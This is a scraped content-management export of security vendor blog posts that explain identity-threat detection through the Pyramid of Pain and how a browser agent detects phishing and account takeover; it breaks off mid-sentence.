attempt",{"url":167166,"width":142241,"height":142242},"https://images.ctfassets.net/y1cdw1ablpvd/3DfcvJLYux6dAVkf6w0izK/0b2ecf039f7f8c749c05a4cde306f4b6/Session_hijacking_detection_with_Push__1_.png",{"items":167168},[],{},"Detect attacks left of boom, before attackers get a foothold",{"url":167172},"https://images.ctfassets.net/y1cdw1ablpvd/32uMppErtDqKKUWVxBF0xG/5dc1ab2271688efacead5b0aaf2cab8e/Legacy_and_modern_attack_paths.png",{"items":167174},[167175,167827,169056],{"__typename":1429,"sys":167176,"content":167177,"title":36714,"synopsis":167815,"hashTags":59,"publishedDate":167816,"slug":36715,"tagsCollection":167817,"authorsCollection":167823},{"id":33939},{"json":167178},{"data":167179,"content":167180,"nodeType":1382},{},[167181,167188,167195,167219,167224,167231,167238,167241,167248,167268,167274,167281,167320,167327,167334,167341,167348,167355,167362,167380,167388,167391,167398,167405,167412,167419,167426,167433,167440,167488,167495,167502,167509,167529,167536,167543,167550,167557,167564,167571,167578,167595,167612,167655,167662,167669,167729,167736,167739,167746,167762,167780,167787,167793,167799,167802,167808],{"data":167182,"content":167183,"nodeType":866},{},[167184],{"data":167185,"marks":167186,"value":167187,"nodeType":865},{},[],"The field of threat detection and security monitoring has changed significantly over the last decade. Security tools and product categories have been added and replaced, specialist disciplines established, and methodologies created. ",{"data":167189,"content":167190,"nodeType":866},{},[167191],{"data":167192,"marks":167193,"value":167194,"nodeType":865},{},[],"Naturally, defenders have had to mature their approach because of the changing nature of the threat facing organizations. Attackers have always looked for new ways to target their victims, and naturally, defenders have had to adapt, forcing attackers to change things up… it’s a cat and mouse game. ",{"data":167196,"content":167197,"nodeType":866},{},[167198,167202,167210,167214],{"data":167199,"marks":167200,"value":167201,"nodeType":865},{},[],"Blue teamers have used the concept of the ",{"data":167203,"content":167205,"nodeType":889},{"uri":167204},"https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html",[167206],{"data":167207,"marks":167208,"value":4793,"nodeType":865},{},[167209],{"type":943},{"data":167211,"marks":167212,"value":167213,"nodeType":865},{},[]," for over a decade. The logic is simple: ",{"data":167215,"marks":167216,"value":167218,"nodeType":865},{},[167217],{"type":926},"Focus on detecting and responding to indicators that are hard for attackers to change. ",{"data":167220,"content":167223,"nodeType":912},{"target":167221},{"sys":167222},{"id":134929,"type":909,"linkType":910},[],{"data":167225,"content":167226,"nodeType":866},{},[167227],{"data":167228,"marks":167229,"value":167230,"nodeType":865},{},[],"If an attacker only has to tweak a variable to get around your detection rule, like adding a space to change a hash value, it’s probably not a very good detection. It’s not going to remain effective for long and you’re always going to be one step behind the attacker – waiting for them to make their next move so you can react. This usually ends up meaning that attackers enjoy at least some success before they can be shut out again. ",{"data":167232,"content":167233,"nodeType":866},{},[167234],{"data":167235,"marks":167236,"value":167237,"nodeType":865},{},[],"The Pyramid of Pain – and the goal of implementing hard-to-bypass detections that hit attackers where it hurts – is central to our design philosophy. But before we get into how we apply this approach, and the types of controls we’ve created as a result, it’s useful to look at how IT and security have changed since the Pyramid was created more than a decade ago. ",{"data":167239,"content":167240,"nodeType":972},{},[],{"data":167242,"content":167243,"nodeType":981},{},[167244],{"data":167245,"marks":167246,"value":167247,"nodeType":865},{},[],"A new era for cyber security",{"data":167249,"content":167250,"nodeType":866},{},[167251,167255,167264],{"data":167252,"marks":167253,"value":167254,"nodeType":865},{},[],"We’ve spoken a lot about how we’re in the midst of a new era in cybersecurity, in which identity is now the outermost digital perimeter for security teams to defend. (",{"data":167256,"content":167258,"nodeType":889},{"uri":167257},"https://pushsecurity.com/resources/video/the-new-saas-cyber-kill-chain-so-con-2024/",[167259],{"data":167260,"marks":167261,"value":167263,"nodeType":865},{},[167262],{"type":943},"You’ll be familiar with this if you’ve seen any of Luke’s talks on the New SaaS Cyber Kill Chain.",{"data":167265,"marks":167266,"value":167267,"nodeType":865},{},[],") ",{"data":167269,"content":167273,"nodeType":912},{"target":167270},{"sys":167271},{"id":167272,"type":909,"linkType":910},"6nYSZAYpsbj78jKm0q75zs",[],{"data":167275,"content":167276,"nodeType":866},{},[167277],{"data":167278,"marks":167279,"value":167280,"nodeType":865},{},[],"This is primarily because modern working is no longer contained to a heavily centralized corporate network, and instead happens primarily in applications accessed over the internet via web browser.",{"data":167282,"content":167283,"nodeType":866},{},[167284,167288,167295,167299,167305,167309,167316],{"data":167285,"marks":167286,"value":167287,"nodeType":865},{},[],"In this new world, attacks don’t even have to touch the old perimeters, because all the data and functionality they could want exists on the public internet. As a result, we’re seeing more and more ",{"data":167289,"content":167290,"nodeType":889},{"uri":12523},[167291],{"data":167292,"marks":167293,"value":167294,"nodeType":865},{},[],"attacks targeting SaaS apps",{"data":167296,"marks":167297,"value":167298,"nodeType":865},{},[],", with the entire attack chain being concluded outside customer networks, not touching any traditional endpoints or networks. The ",{"data":167300,"content":167301,"nodeType":889},{"uri":13054},[167302],{"data":167303,"marks":167304,"value":161986,"nodeType":865},{},[],{"data":167306,"marks":167307,"value":167308,"nodeType":865},{},[],", hailed ",{"data":167310,"content":167311,"nodeType":889},{"uri":61637},[167312],{"data":167313,"marks":167314,"value":167315,"nodeType":865},{},[],"one of the biggest breaches in history",{"data":167317,"marks":167318,"value":167319,"nodeType":865},{},[],", demonstrate this risk all too well. ",{"data":167321,"content":167322,"nodeType":866},{},[167323],{"data":167324,"marks":167325,"value":167326,"nodeType":865},{},[],"This creates a problem for security teams looking to detect and respond to these attacks. ",{"data":167328,"content":167329,"nodeType":1317},{},[167330],{"data":167331,"marks":167332,"value":167333,"nodeType":865},{},[],"Attacks today are shorter and faster, but just as dangerous",{"data":167335,"content":167336,"nodeType":866},{},[167337],{"data":167338,"marks":167339,"value":167340,"nodeType":865},{},[],"Detecting and responding to identity attacks – phishing, credential stuffing, etc. – used to be just one possible method of initial access in quite a lengthy Kill Chain that stretched from the compromise of the user device, pivoting to internal network resources, escalating privileges, moving laterally, and finally achieving their objectives.",{"data":167342,"content":167343,"nodeType":866},{},[167344],{"data":167345,"marks":167346,"value":167347,"nodeType":865},{},[],"This meant that defenders could adopt an assumed compromise mentality and build layered detections, as well as proactively hunting for threats across these various stages and layers of the network. The more actions an attacker has to perform, the more opportunities for detection, and the higher the likelihood that they’ll be caught in the act before any real, lasting damage can be caused. ",{"data":167349,"content":167350,"nodeType":866},{},[167351],{"data":167352,"marks":167353,"value":167354,"nodeType":865},{},[],"Today, attackers have a lot of opportunities to cause significant damage for much less effort than before. For example, if the goal is to compromise an app like Snowflake and dump the data from it, the Kill Chain is way shorter than a traditional network-based attack. And all the great tools and security products you have, like EDR, don’t come into play. ",{"data":167356,"content":167357,"nodeType":866},{},[167358],{"data":167359,"marks":167360,"value":167361,"nodeType":865},{},[],"This means that the initial layer of anti-account takeover controls are much more important in this context. But, the historical detections in this space – email gateway security products, analyzing web pages for malicious content, and URL blocklisting – are either less relevant, or built upon easy to bypass detections toward the bottom of the Pyramid of Pain. ",{"data":167363,"content":167364,"nodeType":866},{},[167365,167369,167376],{"data":167366,"marks":167367,"value":167368,"nodeType":865},{},[],"As an example, ",{"data":167370,"content":167371,"nodeType":889},{"uri":131810},[167372],{"data":167373,"marks":167374,"value":167375,"nodeType":865},{},[],"we recently published an article on all the ways that AitM phishing sites are evading detection",{"data":167377,"marks":167378,"value":167379,"nodeType":865},{},[],". TL;DR – there are a lot, and they seem to be quite effective. But this is partly because the majority of the detections they're trying to avoid are built on shaky ground.   ",{"data":167381,"content":167382,"nodeType":866},{},[167383],{"data":167384,"marks":167385,"value":167387,"nodeType":865},{},[167386],{"type":926},"So what? Well, it’s clear that the controls that the industry has relied on in the past to stop identity attacks are too easy to bypass, and are no longer sufficient. ",{"data":167389,"content":167390,"nodeType":972},{},[],{"data":167392,"content":167393,"nodeType":981},{},[167394],{"data":167395,"marks":167396,"value":167397,"nodeType":865},{},[],"Building effective identity threat detection controls",{"data":167399,"content":167400,"nodeType":866},{},[167401],{"data":167402,"marks":167403,"value":167404,"nodeType":865},{},[],"Now we’ve covered the problem that we set out to solve, let’s look at what we’re doing differently. ",{"data":167406,"content":167407,"nodeType":866},{},[167408],{"data":167409,"marks":167410,"value":167411,"nodeType":865},{},[],"In order to climb the Pyramid toward the apex, you need to find ways to detect increasingly generic parts of an attack technique. So you want to avoid things like what a specific malware’s code looks like, or where it connects back to. But what the malware does, or what happens when it runs, is more generic, and therefore more interesting to us.  ",{"data":167413,"content":167414,"nodeType":866},{},[167415],{"data":167416,"marks":167417,"value":167418,"nodeType":865},{},[],"The shift from static code signatures and fuzzy hashes to dynamic analysis of what code does on a live system is at the heart of why EDR killed antivirus a decade ago. It proved at-scale the value of moving detections up the pyramid.",{"data":167420,"content":167421,"nodeType":866},{},[167422],{"data":167423,"marks":167424,"value":167425,"nodeType":865},{},[],"We’re always on the lookout for ways to move our detections up the pyramid as well. It’s easiest to explain how we’ve applied this by looking at an example. ",{"data":167427,"content":167428,"nodeType":1317},{},[167429],{"data":167430,"marks":167431,"value":167432,"nodeType":865},{},[],"Scenario: Detecting a web-based phishing attack",{"data":167434,"content":167435,"nodeType":866},{},[167436],{"data":167437,"marks":167438,"value":167439,"nodeType":865},{},[],"Let’s break down the stages of a web-based phishing attack as an example. For a user to be successfully phished:",{"data":167441,"content":167442,"nodeType":1616},{},[167443,167458,167473],{"data":167444,"content":167445,"nodeType":1570},{},[167446],{"data":167447,"content":167448,"nodeType":866},{},[167449,167454],{"data":167450,"marks":167451,"value":167453,"nodeType":865},{},[167452],{"type":926},"Stage 1:",{"data":167455,"marks":167456,"value":167457,"nodeType":865},{},[]," The victim must be lured to visit a website.",{"data":167459,"content":167460,"nodeType":1570},{},[167461],{"data":167462,"content":167463,"nodeType":866},{},[167464,167469],{"data":167465,"marks":167466,"value":167468,"nodeType":865},{},[167467],{"type":926},"Stage 2:",{"data":167470,"marks":167471,"value":167472,"nodeType":865},{},[]," The website must somehow trick or convince the user that it’s legitimate and trustworthy, for example by mimicking a legitimate site.",{"data":167474,"content":167475,"nodeType":1570},{},[167476],{"data":167477,"content":167478,"nodeType":866},{},[167479,167484],{"data":167480,"marks":167481,"value":167483,"nodeType":865},{},[167482],{"type":926},"Stage 3:",{"data":167485,"marks":167486,"value":167487,"nodeType":865},{},[]," The user must enter their actual credentials into that website.",{"data":167489,"content":167490,"nodeType":866},{},[167491],{"data":167492,"marks":167493,"value":167494,"nodeType":865},{},[],"So, how might you go about detecting this attack? Let’s start from the bottom of the pyramid and work our way up.",{"data":167496,"content":167497,"nodeType":1317},{},[167498],{"data":167499,"marks":167500,"value":167501,"nodeType":865},{},[],"Stage 1: Determining if a URL, IP, or domain is bad",{"data":167503,"content":167504,"nodeType":866},{},[167505],{"data":167506,"marks":167507,"value":167508,"nodeType":865},{},[],"You might start by looking for the lure – historically an email. You could look for links in emails, or links in attachments in an email and then check if they are bad (which is essentially what email security products do). You could look for known-bad URLs in emails, but these change for every phishing campaign. In modern attacks, every target can receive a unique email and link. Even just using a URL shortener can bypass this. It’s equivalent to a malware hash – trivial to change, and therefore not a great thing to pin your detections on. ",{"data":167510,"content":167511,"nodeType":866},{},[167512,167516,167525],{"data":167513,"marks":167514,"value":167515,"nodeType":865},{},[],"You could look at which IP address the user connects to, but these days it’s very simple for attackers to add a new IP to their cloud-hosted server. If a domain is flagged as known-bad, the attacker only has to register a new domain, or compromise a WordPress server on an already trusted domain. Both of these things are ",{"data":167517,"content":167519,"nodeType":889},{"uri":167518},"https://www.bleepingcomputer.com/news/security/revolver-rabbit-gang-registers-500-000-domains-for-malware-campaigns/",[167520],{"data":167521,"marks":167522,"value":167524,"nodeType":865},{},[167523],{"type":943},"happening on a massive scale",{"data":167526,"marks":167527,"value":167528,"nodeType":865},{},[]," as attackers pre-plan for the fact that their domains will be burned at some point. Attackers are more than happy to spend $10-$20 per new domain in the grand scheme of the potential proceeds of crime. ",{"data":167530,"content":167531,"nodeType":866},{},[167532],{"data":167533,"marks":167534,"value":167535,"nodeType":865},{},[],"But there’s a more fundamental flaw here – for defenders to know that a URL, IP, or domain name is bad, it needs to be reported first. When are things reported? Typically after being used in an attack – so unfortunately, someone always gets hurt.  ",{"data":167537,"content":167538,"nodeType":1317},{},[167539],{"data":167540,"marks":167541,"value":167542,"nodeType":865},{},[],"Stage 2: Determining if a site is legitimate",{"data":167544,"content":167545,"nodeType":866},{},[167546],{"data":167547,"marks":167548,"value":167549,"nodeType":865},{},[],"So how can we detect a phishing website, on day-zero, the first time anyone runs into it? Well we can look at the second step – does the URL resemble a real website, does the HTML code for a page look similar to a legitimate login page for a known website, is it loading the same image files? This is not trivial to detect, but with the right fuzzy matches and image analysis it can be automated.",{"data":167551,"content":167552,"nodeType":866},{},[167553],{"data":167554,"marks":167555,"value":167556,"nodeType":865},{},[],"We’ve now moved up a level on the Pyramid – we’re detecting website artifacts. If we see a legitimate looking website on an unknown domain, it’s likely to be a malicious clone.",{"data":167558,"content":167559,"nodeType":866},{},[167560],{"data":167561,"marks":167562,"value":167563,"nodeType":865},{},[],"Unfortunately, the attacker’s website doesn’t need to send each visitor to the same website. It can change dynamically based on where the visitor is coming from – or even randomly, so that not all visitors are served the phishing page. This means that tools which resolve where the links in emails go to be able to analyze them (such as email security appliances) don’t necessarily see the same site the user is actually visiting – a fact that is commonly abused by attackers to bypass detection. It’s critical that detection happens on the actual web page that the victim sees.",{"data":167565,"content":167566,"nodeType":1317},{},[167567],{"data":167568,"marks":167569,"value":167570,"nodeType":865},{},[],"Stage 3: Detecting the user entering their credentials",{"data":167572,"content":167573,"nodeType":866},{},[167574],{"data":167575,"marks":167576,"value":167577,"nodeType":865},{},[],"For a phishing attack to succeed, the victim must enter their actual credentials into the webpage. If you can stop the user entering their real password, there’s no attack. There’s no getting around it. ",{"data":167579,"content":167580,"nodeType":866},{},[167581,167585,167592],{"data":167582,"marks":167583,"value":167584,"nodeType":865},{},[],"So, this is exactly what we did: Earlier this year, we released a control which ",{"data":167586,"content":167587,"nodeType":889},{"uri":67859},[167588],{"data":167589,"marks":167590,"value":167591,"nodeType":865},{},[],"stops users from entering their password belonging to a particular login page anywhere else",{"data":167593,"marks":167594,"value":1615,"nodeType":865},{},[],{"data":167596,"content":167597,"nodeType":866},{},[167598,167602,167609],{"data":167599,"marks":167600,"value":167601,"nodeType":865},{},[],"Seems simple, right? By focusing on this generic action, that always has to happen, you can essentially stop your users being phished altogether. This means, it doesn’t matter ",{"data":167603,"content":167604,"nodeType":889},{"uri":131810},[167605],{"data":167606,"marks":167607,"value":167608,"nodeType":865},{},[],"what the attacker does before that point",{"data":167610,"marks":167611,"value":84015,"nodeType":865},{},[],{"data":167613,"content":167614,"nodeType":1616},{},[167615,167625,167635,167645],{"data":167616,"content":167617,"nodeType":1570},{},[167618],{"data":167619,"content":167620,"nodeType":866},{},[167621],{"data":167622,"marks":167623,"value":167624,"nodeType":865},{},[],"It doesn't matter if they run the site using Cloudflare Workers to block automatic analysis.",{"data":167626,"content":167627,"nodeType":1570},{},[167628],{"data":167629,"content":167630,"nodeType":866},{},[167631],{"data":167632,"marks":167633,"value":167634,"nodeType":865},{},[],"It doesn’t matter if they hack a WordPress blog to get a reputable domain.",{"data":167636,"content":167637,"nodeType":1570},{},[167638],{"data":167639,"content":167640,"nodeType":866},{},[167641],{"data":167642,"marks":167643,"value":167644,"nodeType":865},{},[],"It doesn’t matter if they use clever redirects and rotate the URLs delivered to the user.",{"data":167646,"content":167647,"nodeType":1570},{},[167648],{"data":167649,"content":167650,"nodeType":866},{},[167651],{"data":167652,"marks":167653,"value":167654,"nodeType":865},{},[],"It doesn’t matter if they randomize the HTML title for the web page. ",{"data":167656,"content":167657,"nodeType":866},{},[167658],{"data":167659,"marks":167660,"value":167661,"nodeType":865},{},[],"They can’t avoid the fact that a user is required to enter their credentials on the page for the attack to succeed. ",{"data":167663,"content":167664,"nodeType":866},{},[167665],{"data":167666,"marks":167667,"value":167668,"nodeType":865},{},[],"So, when you apply the Pyramid of Pain to some of the controls we’ve shipped this year, we get a clear feel for the value, from highest to lowest:",{"data":167670,"content":167671,"nodeType":1616},{},[167672,167691,167710],{"data":167673,"content":167674,"nodeType":1570},{},[167675],{"data":167676,"content":167677,"nodeType":866},{},[167678,167682,167688],{"data":167679,"marks":167680,"value":167681,"nodeType":865},{},[],"User Behavior: ",{"data":167683,"content":167684,"nodeType":889},{"uri":67859},[167685],{"data":167686,"marks":167687,"value":166263,"nodeType":865},{},[],{"data":167689,"marks":167690,"value":14251,"nodeType":865},{},[],{"data":167692,"content":167693,"nodeType":1570},{},[167694],{"data":167695,"content":167696,"nodeType":866},{},[167697,167701,167707],{"data":167698,"marks":167699,"value":167700,"nodeType":865},{},[],"Tool Behavior: ",{"data":167702,"content":167703,"nodeType":889},{"uri":131895},[167704],{"data":167705,"marks":167706,"value":166223,"nodeType":865},{},[],{"data":167708,"marks":167709,"value":21,"nodeType":865},{},[],{"data":167711,"content":167712,"nodeType":1570},{},[167713],{"data":167714,"content":167715,"nodeType":866},{},[167716,167720,167726],{"data":167717,"marks":167718,"value":167719,"nodeType":865},{},[],"Tool Signature: ",{"data":167721,"content":167722,"nodeType":889},{"uri":131844},[167723],{"data":167724,"marks":167725,"value":166243,"nodeType":865},{},[],{"data":167727,"marks":167728,"value":14251,"nodeType":865},{},[],{"data":167730,"content":167731,"nodeType":866},{},[167732],{"data":167733,"marks":167734,"value":167735,"nodeType":865},{},[],"Naturally, we want to continue focusing on the apex of the Pyramid – at TTPs and Tools – to ensure that the controls we build are as robust as possible, and can’t be bypassed by attackers. ",{"data":167737,"content":167738,"nodeType":972},{},[],{"data":167740,"content":167741,"nodeType":981},{},[167742],{"data":167743,"marks":167744,"value":167745,"nodeType":865},{},[],"The power of the Push browser agent",{"data":167747,"content":167748,"nodeType":866},{},[167749,167753,167758],{"data":167750,"marks":167751,"value":167752,"nodeType":865},{},[],"You might ask: ",{"data":167754,"marks":167755,"value":167757,"nodeType":865},{},[167756],{"type":926},"If it’s so simple, why hasn’t this been done yet?",{"data":167759,"marks":167760,"value":167761,"nodeType":865},{},[]," Well, before now, there was no good way of doing it! Teams simply didn’t have tools in the right place to be able to capture the level of data needed, or respond effectively (i.e. automatically, at the point of impact). ",{"data":167763,"content":167764,"nodeType":866},{},[167765,167769,167776],{"data":167766,"marks":167767,"value":167768,"nodeType":865},{},[],"This is where being in the browser comes into play. The browser is a great place to observe the behavior of a page in real time, without needing to reconstruct decrypted HTTP data post-TLS termination and try to guess what the rendered page in all its Javascript-infused glory actually does, ",{"data":167770,"content":167771,"nodeType":889},{"uri":110403},[167772],{"data":167773,"marks":167774,"value":167775,"nodeType":865},{},[],"as we’ve blogged about previously",{"data":167777,"marks":167778,"value":167779,"nodeType":865},{},[],". As we’ve seen through the ability to not only detect but prevent phishing attacks, it’s also a great control enforcement point, as you’re able to intercept the user at the point of impact, and you sit as closely as possible to where their work typically happens – in the browser. ",{"data":167781,"content":167782,"nodeType":866},{},[167783],{"data":167784,"marks":167785,"value":167786,"nodeType":865},{},[],"To illustrate how crucial the browser is to implementing controls that sit at the apex of the Pyramid of Pain, we created a modified version designed specifically for identity attacks. ",{"data":167788,"content":167792,"nodeType":912},{"target":167789},{"sys":167790},{"id":167791,"type":909,"linkType":910},"HrK2xQak6KfjInDbeSgv8",[],{"data":167794,"content":167798,"nodeType":912},{"target":167795},{"sys":167796},{"id":167797,"type":909,"linkType":910},"7kLilJ8Y08smUI9ttM3BSO",[],{"data":167800,"content":167801,"nodeType":972},{},[],{"data":167803,"content":167804,"nodeType":981},{},[167805],{"data":167806,"marks":167807,"value":57175,"nodeType":865},{},[],{"data":167809,"content":167810,"nodeType":866},{},[167811],{"data":167812,"marks":167813,"value":167814,"nodeType":865},{},[],"Hopefully, this blog post has shone a light on why we do things the way we do here at Push. The goal of building generic detections that are difficult, painful, and costly for attackers to bypass is a key part of our design strategy, and we look forward to sharing many more controls with you that demonstrate this in the future.","This is the first blog in a short series we’re putting together about the ‘why’ behind the ‘what’ at Push. This entry is focused on threat detection. ","2024-08-05T00:00:00.000Z",{"items":167818},[167819,167821],{"sys":167820,"name":342},{"id":4642},{"sys":167822,"name":7796},{"id":7795},{"items":167824},[167825],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":167826},{"url":7804},{"__typename":1429,"sys":167828,"content":167830,"title":169042,"synopsis":169043,"hashTags":59,"publishedDate":169044,"slug":169045,"tagsCollection":169046,"authorsCollection":169052},{"id":167829},"489LTCEVau7lh88tLgSPX5",{"json":167831},{"data":167832,"content":167833,"nodeType":1382},{},[167834,167841,167861,167868,167874,167881,167912,167918,167924,167931,167938,167944,167951,167971,167978,167985,167991,167998,168005,168053,168071,168078,168085,168092,168097,168104,168111,168118,168125,168132,168139,168151,168157,168164,168182,168200,168207,168214,168234,168241,168258,168265,168316,168323,168342,168349,168354,168371,168389,168396,168414,168421,168427,168434,168450,168457,168464,168470,168477,168484,168491,168498,168503,168510,168517,168524,168531,168537,168544,168551,168563,168579,168586,168593,168659,168666,168673,168680,168687,168694,168701,168708,168715,168733,168740,168746,168753,168759,168766,168773,168780,168786,168793,168800,168807,168840,168847,168854,168861,168868,168875,168882,168889,168896,168944,168950,168957,169000,169006,169013,169030,169036],{"data":167835,"content":167836,"nodeType":866},{},[167837],{"data":167838,"marks":167839,"value":167840,"nodeType":865},{},[],"The last time “hacking” topped the attacker actions chart in a Verizon DBIR, Gamestop was being saved by Redditors, ChatGPT didn’t exist, and Will Smith was welcome at the Oscars. ",{"data":167842,"content":167843,"nodeType":866},{},[167844,167848,167857],{"data":167845,"marks":167846,"value":167847,"nodeType":865},{},[],"That’s right, it was back in the ",{"data":167849,"content":167851,"nodeType":889},{"uri":167850},"https://www.verizon.com/business/resources/reports/dbir/2021/masters-guide/",[167852],{"data":167853,"marks":167854,"value":167856,"nodeType":865},{},[167855],{"type":943},"2021 DBIR",{"data":167858,"marks":167859,"value":167860,"nodeType":865},{},[]," that good old-fashioned hacking was the thing hackers did the most. ",{"data":167862,"content":167863,"nodeType":866},{},[167864],{"data":167865,"marks":167866,"value":167867,"nodeType":865},{},[],"In every report since, stolen credentials have been the most common “select way-in” (weird term, I know). In this year’s DBIR, stolen credentials accounted for roughly half of the breaches recorded. ",{"data":167869,"content":167873,"nodeType":912},{"target":167870},{"sys":167871},{"id":167872,"type":909,"linkType":910},"16WQ5Siz92HZKCjDsxWBdr",[],{"data":167875,"content":167876,"nodeType":866},{},[167877],{"data":167878,"marks":167879,"value":167880,"nodeType":865},{},[],"These stats, along with others like CrowdStrike’s widely cited “80% of attacks involve identity and compromised credentials,” continue to prove that “hackers don’t hack in, they log in.” ",{"data":167882,"content":167883,"nodeType":866},{},[167884,167888,167896,167900,167908],{"data":167885,"marks":167886,"value":167887,"nodeType":865},{},[],"In the last year, more stories behind those statistics have started to emerge with a series of high profile “no-hack” identity attacks hitting the headlines – the most recent being the ",{"data":167889,"content":167891,"nodeType":889},{"uri":167890},"https://pushsecurity.com/resources/video/snowflake-the-tip-of-the-iceberg/",[167892],{"data":167893,"marks":167894,"value":13502,"nodeType":865},{},[167895],{"type":943},{"data":167897,"marks":167898,"value":167899,"nodeType":865},{},[],". You can read more about that breach and others in our repository of ",{"data":167901,"content":167902,"nodeType":889},{"uri":127868},[167903],{"data":167904,"marks":167905,"value":167907,"nodeType":865},{},[167906],{"type":943},"identity attacks in the wild",{"data":167909,"marks":167910,"value":167911,"nodeType":865},{},[]," where we take a deep dive into the techniques attackers have been using. ",{"data":167913,"content":167917,"nodeType":912},{"target":167914},{"sys":167915},{"id":167916,"type":909,"linkType":910},"6QY3hnMLMJvnk6zYHYa6pf",[],{"data":167919,"content":167923,"nodeType":912},{"target":167920},{"sys":167921},{"id":167922,"type":909,"linkType":910},"7oAUuhbwgEH5XnDZrm5Zk9",[],{"data":167925,"content":167926,"nodeType":866},{},[167927],{"data":167928,"marks":167929,"value":167930,"nodeType":865},{},[],"Why should they go to the effort of targeting hardened and well-monitored attack surfaces like networks and endpoints with 0-day exploits or EDR-evading malware, when they can instead simply take a set of stolen credentials and fire them at popular business apps to see which pop open?",{"data":167932,"content":167933,"nodeType":866},{},[167934],{"data":167935,"marks":167936,"value":167937,"nodeType":865},{},[],"Taking over an account is the equivalent of compromising an endpoint or getting a foothold on a web-facing server. From this point, an attacker can move laterally, escalate their privileges, and achieve their objective of deploying ransomware, stealing data or disrupting business-critical systems. ",{"data":167939,"content":167943,"nodeType":912},{"target":167940},{"sys":167941},{"id":167942,"type":909,"linkType":910},"3vdbE3kqFxvhE145q2CwOy",[],{"data":167945,"content":167946,"nodeType":866},{},[167947],{"data":167948,"marks":167949,"value":167950,"nodeType":865},{},[],"The data shows that account takeover, whether it’s using stolen credentials or session tokens, is now the route of least resistance for attackers, and the #1 attack vector for security teams to defend against.",{"data":167952,"content":167953,"nodeType":866},{},[167954,167958,167967],{"data":167955,"marks":167956,"value":167957,"nodeType":865},{},[],"I’m sure you already use a number of tools to secure your workforce identities – MFA, SSO, EDR, etc., and all of them have an important role to play. That said, they also have limitations that attackers are exploiting. We’ve laid out some of the ",{"data":167959,"content":167961,"nodeType":889},{"uri":167960},"https://pushsecurity.com/blog/5-reasons-why-push-security-shouldnt-exist/",[167962],{"data":167963,"marks":167964,"value":167966,"nodeType":865},{},[167965],{"type":943},"typical misconceptions that can undermine an identity security strategy",{"data":167968,"marks":167969,"value":167970,"nodeType":865},{},[]," so you can avoid the common pitfalls and achieve defense in depth.",{"data":167972,"content":167973,"nodeType":981},{},[167974],{"data":167975,"marks":167976,"value":167977,"nodeType":865},{},[],"Push vs. account takeover techniques",{"data":167979,"content":167980,"nodeType":866},{},[167981],{"data":167982,"marks":167983,"value":167984,"nodeType":865},{},[],"In this article, we’re going to show you how to use Push to bolster your identity security strategy and prevent account takeover. More specifically, we’ll cover how Push prevents, detects, and blocks some of the common attack techniques seen in this account takeover attack chain:",{"data":167986,"content":167990,"nodeType":912},{"target":167987},{"sys":167988},{"id":167989,"type":909,"linkType":910},"1FPMzCU0mBgpg1GMSz1sJH",[],{"data":167992,"content":167993,"nodeType":866},{},[167994],{"data":167995,"marks":167996,"value":167997,"nodeType":865},{},[],"Push uses browser data collected by our browser agent to either detect the attack techniques directly, or identify the vulnerabilities being exploited. Upon making a detection, the browser agent enforces a relevant security control to either block the attack or prevent the user from introducing a vulnerability.",{"data":167999,"content":168000,"nodeType":866},{},[168001],{"data":168002,"marks":168003,"value":168004,"nodeType":865},{},[],"If you’re wondering why we’ve opted to build our tool in the browser, the short answer is that being in the browser gives us:",{"data":168006,"content":168007,"nodeType":1616},{},[168008,168023,168038],{"data":168009,"content":168010,"nodeType":1570},{},[168011],{"data":168012,"content":168013,"nodeType":866},{},[168014,168019],{"data":168015,"marks":168016,"value":168018,"nodeType":865},{},[168017],{"type":926},"The broadest visibility",{"data":168020,"marks":168021,"value":168022,"nodeType":865},{},[]," across all workforce identities, including unmanaged identities outside your IdP.",{"data":168024,"content":168025,"nodeType":1570},{},[168026],{"data":168027,"content":168028,"nodeType":866},{},[168029,168034],{"data":168030,"marks":168031,"value":168033,"nodeType":865},{},[168032],{"type":926},"The best telemetry",{"data":168035,"marks":168036,"value":168037,"nodeType":865},{},[]," for detecting identity attack TTPs and tools.",{"data":168039,"content":168040,"nodeType":1570},{},[168041],{"data":168042,"content":168043,"nodeType":866},{},[168044,168049],{"data":168045,"marks":168046,"value":168048,"nodeType":865},{},[168047],{"type":926},"The perfect enforcement point",{"data":168050,"marks":168051,"value":168052,"nodeType":865},{},[]," for stopping attacker actions or risky employee actions in real time. ",{"data":168054,"content":168055,"nodeType":866},{},[168056,168060,168068],{"data":168057,"marks":168058,"value":168059,"nodeType":865},{},[],"If you want a more detailed technical explanation, you can read this article by Dan on ",{"data":168061,"content":168062,"nodeType":889},{"uri":110403},[168063],{"data":168064,"marks":168065,"value":168067,"nodeType":865},{},[168066],{"type":943},"why browser data is a better source of telemetry for detecting identity attacks than network, IdP and app logs",{"data":168069,"marks":168070,"value":1615,"nodeType":865},{},[],{"data":168072,"content":168073,"nodeType":866},{},[168074],{"data":168075,"marks":168076,"value":168077,"nodeType":865},{},[],"Now we’ve cleared that up, let's look at some account takeover techniques.",{"data":168079,"content":168080,"nodeType":981},{},[168081],{"data":168082,"marks":168083,"value":168084,"nodeType":865},{},[],"Part 1: Phishing (including AitM and BitM toolkits)",{"data":168086,"content":168087,"nodeType":866},{},[168088],{"data":168089,"marks":168090,"value":168091,"nodeType":865},{},[],"Phishing has been around since forever and there’s a mature category of solutions that are designed to detect and prevent it. But despite solutions like security awareness training, phishing domain detection services and email filtering tools, phishing is still one of the top breach vectors. ",{"data":168093,"content":168096,"nodeType":912},{"target":168094},{"sys":168095},{"id":134748,"type":909,"linkType":910},[],{"data":168098,"content":168099,"nodeType":866},{},[168100],{"data":168101,"marks":168102,"value":168103,"nodeType":865},{},[],"We’ve all been conditioned to think about phishing as something that happens over email, but it’s actually the browser where most of the action happens, regardless of the initial delivery channel. Push’s position in the browser gives you the ideal vantage point for detecting and stopping phishing attacks.",{"data":168105,"content":168106,"nodeType":866},{},[168107],{"data":168108,"marks":168109,"value":168110,"nodeType":865},{},[],"The Push browser agent performs both passive observation and active interrogation in order to detect employees having their passwords harvested or visiting cloned app login pages or pages using AitM/BitM toolkits. Phishing attacks are detected in real time so Push blocks them before your employees can enter their credentials.",{"data":168112,"content":168113,"nodeType":1317},{},[168114],{"data":168115,"marks":168116,"value":168117,"nodeType":865},{},[],"Detecting phishing through user behavior",{"data":168119,"content":168120,"nodeType":866},{},[168121],{"data":168122,"marks":168123,"value":168124,"nodeType":865},{},[],"Rather than trying to detect phishing websites and domains that constantly change, Push detects and blocks phishing attempts based on observing user behavior in the 